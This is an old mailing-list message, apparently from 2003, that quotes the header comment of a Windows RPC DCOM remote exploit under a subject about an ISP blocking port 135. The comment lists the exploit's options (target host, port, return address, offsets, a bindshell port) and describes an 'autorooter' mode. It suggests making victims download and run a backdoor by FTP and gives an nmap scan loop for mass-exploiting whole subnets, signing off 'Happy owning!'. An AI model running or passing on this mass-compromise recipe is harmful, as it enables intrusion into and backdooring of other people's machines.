Message-ID: <001701c35f99$106b2c40$9f0cce0c@cocaroac7d1dhl>
From: volkam at comcast.net (Anthony Clark)
Subject: Cox is blocking port 135 - off topic
Right..
/* Windows 2003 <= remote RPC DCOM exploit
* Coded by .:[oc192.us]:. Security
* Modified by rogers@...et
*
* Features:
*
* -d destination host to attack.
*
* -p for port selection as exploit works on ports other than
135(139,445,539 etc)
*
* -r for using a custom return address.
*
* -t to select target type (Offset) , this includes universal offsets for -
* win2k and winXP (Regardless of service pack)
*
* -l to select bindshell port on remote machine (Default: 666)
*
* - Shellcode has been modified to call ExitThread, rather than
ExitProcess, thus
* preventing crash of RPC service on remote machine.
*
* Modification:
*
* AUTOROOTER
*
* Modify the commands in *cmd, in void con(int sockfd){} 3rd line
* I suggest having it ftp to a box and download a backdoor, run it, then
exit.
*
* Works well with this class C (B /16 or A /8 as well) command line scanner
using nmap:
*
* /usr/bin/nmap -sS -p 135 -oG out $1/24
* for i in `cat out | grep open | awk '{print $2}'`; do
* ./rogers-oc192-dcom -d $i -t 1&
* ./rogers-oc192-dcom -d $i -t 0&
* done
*
*
* sh scan.sh 10.10.2.0
*
* Happy owning!
